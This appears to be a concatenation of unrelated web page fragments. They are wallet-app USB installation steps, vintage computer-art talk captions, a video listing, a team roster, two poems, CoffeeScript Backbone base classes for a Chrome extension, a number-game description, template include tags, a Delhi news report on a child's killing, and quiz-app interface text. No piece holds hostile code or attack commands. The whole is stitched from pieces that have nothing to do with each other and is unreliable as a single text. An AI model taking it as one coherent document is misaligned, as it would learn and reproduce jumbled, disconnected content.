- Once the installation is done, in Explorer navigate to your USB drive's MultiMona installation directory. It is the
directory with the "multimona.exe" file.
- Create a new text file called (exactly) "multimona.properties". Leave the file empty.
This is the MultiMona configuration file. Having a copy in the installation directory (rather than the user's
application data) tells MultiMona to run locally.
- To run MultiMona locally, double click on the multimona.exe file.
You will have a single default wallet created, called multimona.wallet. You can create new ones using the 'Create
Wallet' button and doing a save into your USB drive. You will be using a locally stored blockchain (called
multimona.spvchain).
Linux
Installing MultiMona to run on a USB drive for Linux.
- Insert your USB drive into your Linux machine.
- Run the MultiMona Linux installer. On the screen with the question "Select the installation path:" click on the
"Browse" button and select a directory on your USB drive.
- Run the rest of the installation as normal.
- Once the installation is done, navigate to your USB drive's MultiMona installation directory. It is the directory
with the "multimona-exe.jar" file.
- Create a new text file called (exactly) "multimona.properties". Leave the file empty.
This is the MultiMona configuration file. Having a copy in the installation directory (rather than the user's
application data) tells MultiMona to run locally.
- To run MultiMona locally, double click on the multimona-exe.jar. If this does not start up the jar file, open a
command line to your installation directory and run "java -jar multimona-exe.jar".
Mac
On a Mac, copy the entire MultiMona application onto your USB drive. The name of the application file will be
MultiMona.app. Then go to where your wallets are stored and copy the files multimona.properties and
multimona.spvchain onto your USB drive into the same directory. You can then double click the MultiMona.app
on your USB drive to run MultiMona
Notes and Limitations
- The path of the wallets in the configuration file contains the USB drive letter which may change according to how
many other drives you have plugged in. In this case the wallets other than multimona.wallet will not be found when
MultiMona opens. You can just use the "Open Wallet" button to load them.
- With the instructions above, it assumes you have Java installed on the machine you plug into. You can also have a
"Java Runtime Environment" stored on the USB too so that it is guaranteed to run. (More details to follow).
- The installer will add some shortcuts for running MultiMona pointing to the USB drive. These will not work if the
USB drive is removed.
目次に戻る


by Sher Minn Chong / @piratefsh / JSConf EU 2019
programmer's retreat in New York City
Edited by Grace C. Hertlein
[source: recodeproject.com]1950s to 1970s
introduced in 1959 at the price of USD 3 million
"...I would go to the computer center and look at the information and then type it out, resulting in the punched cards.
I'd give it to the little man behind the door, and five minutes later, I'd get this drawing back...
Animation of human limbs to determine possible movements in cockpit for easier instrumentation reach
Source: The Computer in Art by Jasia Reichdart, 1971
Seattle-Tacoma airport graphic used for animation of landing simulations
Source: The Computer in Art by Jasia Reichdart, 1971
Simulation of a Two-Gyro Gravity Gradient Attitude Control System by E. E. Zajac, 1963 [source]
Ben F. Laposky [source: Wikipedia]
Various Oscillons by Ben Laposky [source: Recreational Mathematics magazine, August 1961]
Oscillons by Ben Laposky [source: Recreational Mathematics magazine, August 1961]
Herbert W. Franke [source: spalterdigital.com]
top: Elektronische by Herbert Franke, 1961
[source: zi.biologie.uni-muenchen.de]
Electronic Graphics by Herbert Franke, 1960s
[source: Computer Art Computer Graphics]
Oscillons #39 and #11 by Ben Laposky
[source: Recreational Mathematics magazine, August 1961]
The building blocks of Laposky's Electronic Abstractions
[source: Recreational Mathematics magazine, August 1961]
Electronic Graphics by Herbert Franke, 1960s
[source: Recreational Mathematics magazine, August 1961]
sine waves + ??? -> art?
CalComp 565, early drum plotter introduced in 1959
...happy chance discoveries with the computer.
-Jasia Reichardt, curator of Cybernetic Serendipity [source: ICA on Youtube]
Four flies sit at the corners of a card table, facing inward. They start simultaneously walking at the same rate, each directing its motion steadily toward the fly on its right. Find the path of each.
IBM 1403 line printer.
Source: The Computer in Art by Jasia Reichdart, 1971
Equal Tea Talk by Frederick Hammersley, 1969 [source]
Undernourished by Frederick Hammersley, 1969 [source]
by Katherine Nash and Richard H. Williams at University of New Mexico
"...to teach students to make simple computer graphics"
"...notable for its simplicity and intended primarily as an introduction to the use of computers for those without any technological background"
source: The Computer in Art by Jasia Reichdart, 1971
Jelly Centers by Frederick Hammersley, 1969 [source]
Jelly Centers Detail, 1969 [source]
not quite, more like EBCDIC art
(Extended Binary Coded Decimal Interchange Code)
Punched card with the EBCDIC character set.[source]
ART 1 had literally seven drawing subroutines
Unicode diacritcal marks to achieve detail
[source: Wikipedia]
Matrix multiplication, 1967
[source: Computer Graphics Computer Art]
Schotter by Georg Nees, 1968
[source: vam.ac.uk]
In preparation for Frieder by Vera Molnar
A Little-Known Story about a Movement, a Magazine, and the Computer’s Arrival in Arts
New Tendencies and Bit International, 1961-1973
[photo source: copyrightbookshop.be]
For more vintage computer art history: https://piratefsh.github.io


时下流行
Twitter clone
manikandanraji•8 views• 38 days ago
twitter clone using graphql
Instaclone
manikandanraji•3 views• 38 days ago
Instagram clone using MERN stack
Earth from the space !
terekhov•2 views• 11 days ago
Take a look at that!
Youtubeception
manikandanraji•2 views• 38 days ago
Demo of this yt clone
Podcasts Webapp
manikandanraji•2 views• 38 days ago
spotcasts - listen to your favorite podcasts
tesst video
dejah53326•1 views• 6 hours ago
hahahahaa
this is new
samb•1 views• 5 days ago
this is greate.
321321
lipengzhou•1 views• 15 days ago
321321
Furlise piano video
christian•0 views• 3 days ago
this video is about my best music
as
drto4•0 views• 5 days ago
asd
Leetcode styled SPA
manikandanraji•0 views• 38 days ago
kinda similar to leetcode


The Team
Anika Zolman-Nacey
Project Lead
Vincent Sanders
UI/UX Developer
Cody Garrett
Front-End Developer
Ryan State
Front-End Developer
John Shoff
Back-End Developer
Owen Burton
Data Engineer
Todd Gonzalez
Data Engineer
Oscar calzada
Machine Learning Engineer
Kyle Haggin
Machine Learning Engineer


2.
3.
4. now move. be devoured. consumed. etc. picked clean, bone dry, foaming mouth,
4a. lie down and scream.
5. go to the ocean. keep screaming. scream into the ocean. with the ocean. never at the ocean, this part is important. never let it know you are there. it remembers everything & has no time for your shit, so eventually you need to stop screaming.
6. when coming to shore & recovering from the layered sting your body has become, pass a group of kids playing football on the beach – kindly request they punt it directly into your chest.
7. go back to the ocean. always go back to the ocean. it still doesn’t care & it’s still screaming & it will never care & it will always be screaming, but you were starting to feel significant again. don’t do that.
8. always be screaming. always be pulling at hair. always be on fire but never carry any lighters. never inhale the smoke love blows through its ass, but always breathe.
9. and then stop.
10. and then start, even when someone punts a football into your chest.
remind yourself that you’re not actually the ocean.
you’re not a body of water, but you do have a body.
that doesn’t actually matter, but knowing you can churn and spit does.
you will always be naming parts of yourself after other people
& you won’t remember where you put them
one of these days here’s what i’ll do:
i’ll enjoy a cap’n jazz song
maybe listen to it more than once and a half
Ooh Do I Love You, it tells me, and one of these days
I’ll love you a little less
i’ll sprout a brooklyn
in my trachea car honk alarms
and bicycle tires where my legs
“where my legs what?” they always ask me this
why? just where my legs, like
where they are, that’s it
that’s all
one day i’ll hear certain names and not feel
my organs drop into my butt to get away
from my chest like when you
swallow grand pianos to be
all whale songs and less gut
i’m trying to be a whale because of course i am
the one that swallowed us once, stored us
behind the steinway of its teeth
let us choose the notes, let us play its jaw
way past happy hour, we stayed for years and
all the krill gone home
i want to be home to more barnacles
and less skin condition
all so i don’t have to look at eyelashes sideways
and notice their length like mine and identical
skin around our ears like we shoved the same stories
there lives ago
when we were somewhere in the desert,
how the heat fuses the flesh together
to create one people leaking saltwater,
or desperation, or some other form of love
about the west flicking its loosies
and us running to the rhythm of colonialism
ashes ashes fall down get up and i’m still leaking
and you take your coffee much thinner now
the way that makes my insides hate me
ruins the sonic plumbing, the pipes of me
one of these days i’ll find us washed up:
sidewalk on boylston st keys smashed,
right near the parking meter with the
hippo sticker, faded url, an old mattress pad
out of tune where my heart
where my heart where? just where it is that’s it
that’s all
Jess Rizkallah is a Lebanese-American writer, illustrator, and coffee slinger living in Boston. She edits Maps For Teeth magazine and publishes zines and chapbooks at pizza pi press. Her work has recently appeared in Word Riot, Electric Cereal, Nailed Magazine, Alien Mouth and on her mother’s fridge. Talk to her about whales & find her on Facebook.


Injector = window.Injector = {}
Primary global namespace.
Injector = window.Injector = {}
Retrieve the value of the given property
from the “parent” of the context class.
If that value is a function, then invoke it with the additional args
and retrieve the return
value of that call instead.
getSuper = (property, args...) ->
result = @constructor.__super__[property]
if _.isFunction(result) then result.apply(@, args) else result
Setup the Chrome storage for the specified model
(may also be a collection) based on the
storage
property, if it exists.
setupStorage = (model) ->
{name, type} = model.storage ? {}
if name and type
model.chromeStorage = new Backbone.ChromeStorage(name, type)
Base model to be used within our application.
Model = Injector.Model = Backbone.Model.extend {
Called internally by initialize
. This should be overridden for custom initialization logic.
init: ->
Override initialize
to hook in our own custom model initialization.
initialize: ->
setupStorage(@)
@init(arguments...)
Restore the default attribute values, where possible.
restoreDefaults: (options) ->
attrs = _.extend({}, _.result(@, 'defaults'))
@set(attrs, options)
Allow models to access “parent” properties easily.
super: getSuper
}
The identifier used by single models.
singletonId = 'singleton'
A singleton model where implementations should only have one persisted instance.
SingletonModel = Injector.SingletonModel = Injector.Model.extend {
Override initialize
to set the singleton identifier.
initialize: (attributes, options) ->
@set(@idAttribute, singletonId, options)
Injector.Model::initialize.apply(@, arguments)
}, {
Retrieve a singleton instance of the model.
fetch: (callback) ->
model = new @()
model.fetch().then ->
callback(model)
}
Base collection to be used within our application.
Collection = Injector.Collection = Backbone.Collection.extend {
The default model for a collection. This should be overridden in most cases.
model: Model
Called internally by initialize
. This should be overridden for custom initialization logic.
init: ->
Override initialize
to hook in our own custom collection initialization.
initialize: ->
setupStorage(@)
@init(arguments...)
Allow collections to access “parent” properties easily.
super: getSuper
}
Base view to be used within our application.
View = Injector.View = Backbone.View.extend {
Called internally by initialize
. This should be overridden for custom initialization logic.
init: ->
Override initialize
to hook in our own custom view initialization.
initialize: (@options) ->
@init(arguments...)
Indicate whether or not this view has an underlying collection associated with it.
hasCollection: ->
@collection?
Indicate whether or not this view has an underlying model associated with it.
hasModel: ->
@model?
Allow views to access “parent” properties easily.
super: getSuper
}
Base router to be used within our application.
Router = Injector.Router = Backbone.Router.extend {
Called internally by initialize
. This should be overridden for custom initialization logic.
init: ->
Override initialize
to hook in our own custom model initialization.
initialize: ->
@init(arguments...)
Allow routers to access “parent” properties easily.
super: getSuper
}
Base history implementation to be used within our application.
History = Injector.History = Backbone.History.extend
Allow history implementations to access “parent” properties easily.
super: getSuper


Play Ping-Pong with us!
How it works:
- Enter any number of your choice
- The program will list all numbers ranging from one to the number you've entered
- If the number is divisble by 3 in the list, you'll see "ping" in it's place
- If the number is divisble by 5 in the list, you'll see "pong" in it's place
- If the number is divisble by 15 in the list, you'll see "pingpong" in it's place
- Have fun!


{include file="public/css" /}
{include file="public/header1" /}
{include file="public/footer1" /} {include file="public/footer2" /} {include file="public/js" /} {include file="public/js_1" /}


Lyrics of Lowly Life
by Paul Laurence Dunbar
"A Confidence"
Additional Information
- Year Published: 1913
- Language: English
- Country of Origin: United States of America
- Source: Dunbar, P.L. (1913). The Complete Poems of Paul Laurence Dunbar. New York: Dodd, Mead, and Company.
-
Readability:
- Flesch–Kincaid Level: 6.5
- Word Count: 722
- Genre: Poetry
- ✎ Cite This
Downloads
Uncle John, he makes me tired;
Thinks ‘at he’s jest so all–fired
Smart, ‘at he kin pick up, so,
Ever’thing he wants to know.
Tried to ketch me up last night,
But you bet I would n’t bite.
I jest kep’ the smoothes’ face,
But I led him sich a chase,
Could n’t corner me, you bet—
I skipped all the traps he set.
Makin’ out he wan’ed to know
Who was this an’ that girl’s beau;
So ’s he ‘d find out, don’t you see,
Who was goin’ ‘long with me.
But I answers jest ez sly,
An’ I never winks my eye,
Tell he hollers with a whirl,
“Look here, ain’t you got a girl?”
Y’ ought ‘o seen me spread my eyes,
Like he ‘d took me by surprise,
An’ I said, “Oh, Uncle John,
Never thought o’ havin’ one.”
An’ somehow that seemed to tickle
Him an’ he shelled out a nickel.
Then you ought to seen me leave
Jest a–laffin’ in my sleeve.
Fool him—well, I guess I did;
He ain’t on to this here kid.
Got a girl! well, I guess yes,
Got a dozen more or less,
But I got one reely one,
Not no foolin’ ner no fun;
Fur I ‘m sweet on her, you see,
An’ I ruther guess ‘at she
Must be kinder sweet on me,
So we ‘re keepin’ company.
Honest Injun! this is true,
Ever’ word I ‘m tellin’ you!
But you won’t be sich a scab
Ez to run aroun’ an’ blab.
Mebbe ‘t ain’t the way with you,
But you know some fellers do.
Spoils a girl to let her know
‘At you talk about her so.
Don’t you know her? her name ’s Liz,
Nicest girl in town she is.

Y’ ought ‘o see her when she ’s dressed
All up in her Sunday best,
All the fellers nudgin’ me,
An’ a–whisperin’, gemunee!
Betcher life ‘at I feel proud
When she passes by the crowd.
‘T ’s kinder nice to be a–goin’
With a girl ‘at makes some showin’—
One you know ‘at hain’t no snide,
Makes you feel so satisfied.

She ‘d jest laff an’ say “Git out!
What you hollerin’ about?”
When some girls ‘ud have a fit
That ‘un don’t git skeered a bit,
Never makes a bit o’ row
When she sees a worm er cow.
Them kind ’s few an’ far between;
Bravest girl I ever seen.
Tell you ‘nuther thing she ‘ll do,
Mebbe you won’t think it ’s true,
But if she ’s jest got a dime
She ‘ll go halvers ever’ time.
Ah, you goose, you need n’t laff;
That’s the kinder girl to have.

Tell you somep’n’ if you ‘ll swear
You won’t tell it anywhere.
Oh, you got to cross yer heart
Earnest, truly, ‘fore I start.
Well, one day I kissed her cheek;
Gee, but I felt cheap an’ weak,
‘Cause at first she kinder flared,
‘N’, gracious goodness! I was scared.
But I need n’t been, fer la!
Why, she never told her ma.

Sich a girl’s worth stickin’ to.


In Delhi, 5-year-old found dead near drain: Mother, 2 others held
Police said the woman told them that she couldn’t attend to the child’s needs, so she killed him.
Two days after the body of a five-year-old boy was found in a gunny bag near a drain in North East Delhi, police have arrested his mother and two other men for allegedly strangulating the child and dumping the body.
Police said the woman told them that she couldn’t attend to the child’s needs, so she killed him. DCP (North East) Ved Prakash Surya said the officers found an unidentified child’s body lying near a drain in Khajuri Khas Thursday. “We scanned the CCTV footage and found that a Maruti Eeco had stopped at the spot and a woman dumped a yellow gunny bag into the drain. The van had a big sticker on its back, but the visuals weren’t clear.”
Police said that over 200 Eeco vans were searched before they found the one with a similar sticker. The driver of the vehicle confessed to the crime, said police.

Police said all of them have been arrested.
“The woman got angry at the child and beat him. After the child fell unconscious, she strangulated him. They later roped in the car owner, who helped dispose of the body,” said police.


Create design that fits you :)
background color
background card color
button and navigation color
text color
apply
reset
Holy guacamole!
×
Log in
Sign in
Back
Register new profile
Student
Teacher
Create profile
Back
Guess Who ???
Play as guest
Log in to profile
Create profile